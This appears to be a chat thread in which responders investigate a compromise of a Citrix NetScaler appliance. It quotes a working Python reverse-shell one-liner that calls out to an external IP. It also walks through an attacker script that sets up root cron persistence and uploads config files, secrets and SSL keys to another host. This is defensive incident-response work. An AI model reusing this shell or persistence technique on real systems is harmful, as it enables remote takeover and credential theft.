Line 35: Oct 2 152118 <local0.alert> NETS03 pitboss[28]: pitboss Fri Oct 2 152118 2026 All monitored processes have exited, rebooting Line 37: Oct 2 152121 <auth.alert> IFSRNETS03 init: Pitboss rebooted the system. Check audit logs

@Charles Moore? @Mike Gray ?

@Josh Farlow zcat /var/logs/ns.log*gz | grep -i 'pitboss'

i'm going to try and pull that file from a sandbox

WOW, this is bad

payload files to is this - import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('38.134.148.238',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);

What exploit.txt is. It's the real stage-2 payload, a persistent backdoor plus config theft: 1. It downloads client.py into /nsconfig, which sits on flash and survives a reboot. 2. It deletes any older x.sh, /dev/tcp and Python cron entries. That means this actor (or a rival) has run earlier versions of this campaign, and the script cleans up the competition before planting its own. 3. It kills every Python process, then adds a cron job that runs client.py every minute as root (lockf stops it running twice). 4. It copies the crontab to /nsconfig/crontab, presumably so the cron job survives a reboot. 5. It tars up /flash/nsconfig and uploads it to 167.148.88.236:5000/upload. That's ns.conf with the encrypted LDAP bind, nsroot and RADIUS secrets, plus the SSL private keys. If it ever ran, treat every credential and key on the box as compromised.

not related... 2 seperate attacks going on... FFS. The LDAP injection from the two IPs I blocked is real, but the patch stops it from executing. The forged SAML posts are what crash nsaaad

so, that fix from Citrix stops the SAML vuln

@Josh Farlow ^--